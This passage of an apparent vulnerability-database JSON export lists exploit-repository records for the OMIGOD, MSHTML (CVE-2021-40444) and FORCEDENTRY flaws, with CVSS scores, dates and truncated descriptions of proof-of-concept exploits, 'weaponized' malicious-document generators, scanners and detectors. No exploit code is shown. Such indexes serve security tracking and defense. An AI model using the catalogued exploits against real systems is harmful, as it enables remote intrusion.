OMIGOD_cve-2021-38647\nCVE-2021-38647 is an unauthentica...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-24T10:53:52", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2021-10-10T08:48:26", "id": "54D698B4-9CF0-5D7F-88D2-1053A11EA7C3", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-17T22:52:57", "description": "# omigood (OM I GOOD?)\n\nThis repository contains a free scanner ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-16T15:34:03", "type": "githubexploit", "title": "Exploit for Improper Initialization in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2022-07-13T20:33:30", "id": "A6B7D4D8-4578-5AD8-961D-3BC35007FF29", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:03:56", "description": "# cve-2021-38647\nA PoC exploit for CVE-2021-38647 RCE in OMI.\n\nE...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-16T08:33:02", "type": "githubexploit", "title": "Exploit for Improper Initialization in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2021-09-29T12:13:38", "id": "8B4EDA16-9E27-500D-B648-9C3AD4295562", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-09T23:40:22", "description": "# CVE-2021-38647\n\nCVE-2021-38647 - POC to exploit unauthenticate...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-20T16:29:48", "type": "githubexploit", "title": "Exploit for Improper Initialization in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2022-08-09T18:59:00", "id": "FA1DEEA0-A8AF-5C21-98E6-9D3379266529", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-17T02:36:58", "description": "# CVE-2021-38647 AKA \"OMIGOD\"\nA Zeek package which detects CVE-2...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T04:51:02", "type": "githubexploit", "title": "Exploit for Improper Initialization in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2023-09-16T21:47:30", "id": "8217668C-9748-5511-8C01-7E933D69F872", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-10T07:14:55", "description": "# Details\n## OMIGod - CVE-2021-38647\nOpen Management Infrastruct...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-19T15:43:32", "type": "githubexploit", "title": "Exploit for Improper Initialization in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2022-08-10T05:21:40", "id": "64DFB465-6754-5E4B-B311-7668EDD4D962", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-18T09:23:02", "description": "# CVE-2021-30860\nCVE-2021-30860 (FORCEDENTRY) is a known vulnera...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-18T22:14:17", "type": "githubexploit", "title": "Exploit for Integer Overflow or Wraparound in Apple Ipados", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30860"], "modified": "2022-07-16T23:24:33", "id": "7C32DA80-90D8-53DB-8CDA-E29BFB69B548", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:34:00", "description": "# CVE-2021-38647\n\n\nThis is a POC for CVE-2021-38647 :\n\nSend a PO...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-15T21:44:30", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2021-09-19T05:39:40", "id": "1EC6324C-A18E-517A-9A55-F1C2D1BCA358", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:03:26", "description": "# cve-2021-38647\nhttps://github.com/corelight/CVE-2021-38647 wit...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-22T15:20:40", "type": "githubexploit", "title": "Exploit for Improper Initialization in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2021-09-22T15:29:15", "id": "610ADCD3-C281-52D4-A546-467569FE3AC1", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:36:55", "description": "# Readme\n\nAn educational lab VM to learn about the 9.6 CVSS unau...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-18T15:25:18", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2021-09-27T11:34:25", "id": "09412330-832C-538A-A226-61474048E41B", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:34:08", "description": "MSHTMHell: Malicious document bui...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-11T15:33:41", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-14T13:49:09", "id": "588DA6EE-E603-5CF2-A9A3-47E98F68926C", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:34:39", "description": "# CVE-2021-40444 PoC\n\nMalicious docx generator to exploit CVE-20...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-11T09:21:29", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-20T15:39:54", "id": "0D0DAF60-4F3C-5B17-8BAB-5A8A73BC25CC", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:04:54", "description": "# Caboom\n\n```\n \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557 \u2588...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-11T16:31:05", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-05-13T12:52:15", "id": "6BC80C90-569E-5084-8C0E-891F12F1805E", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-15T21:37:40", "description": "# CVE-2021-40444 PoC\n\nMalicious docx generator to exploit CVE-20...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-10T16:55:53", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-08-15T15:41:32", "id": "72881C31-5BFD-5DAF-9D20-D6170EEC520D", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-18T09:23:03", "description": "# CVE-2021-40444-CAB\nCVE-2021-40444 - Custom CAB templates from ...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-16T10:14:08", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-10-09T17:56:16", "id": "24DE1902-4427-5442-BF63-7657293966E2", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-05-23T17:38:56", "description": "# Fully Weaponized CVE-2021-40444\n\nMalicious docx generator to e...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-24T23:17:12", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-10-24T23:17:28", "id": "CC6DFDC6-184F-5748-A9EC-946E8BA5FB04", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:05:00", "description": "# CVE-2021-40444-Sample\nPatch CAB: https:/...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-10T09:43:41", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-07-12T14:51:36", "id": "28B1FAAB-984F-5469-BC0D-3861F3BCF3B5", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-17T02:36:46", "description": "# CVE-2021-40444\n\n## Usage\n\nEnsure to run `setup.sh` first as yo...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-03T01:13:42", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": 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"AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:03:37", "description": "# CVE-2021-40444-URL-Extractor\n\nPython script to extract embedde...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-16T16:54:50", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", 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"published": "2021-11-22T13:29:20", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-11-22T13:41:39", "id": "DD5D2BF7-BE9D-59EA-8DF2-D85AEC13A4A0", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-01-26T03:16:25", "description": "# CVE-2021-40444-POC\nAn attempt to reproduce Microsoft MSHTML Re...", "cvss3": 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5.9}, "published": "2021-09-09T02:30:26", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-17T10:41:29", "id": "37D2BE4F-9D7A-51CD-B802-2FAB35B39A4E", "href": "", "cvss": {"score": 6.8, 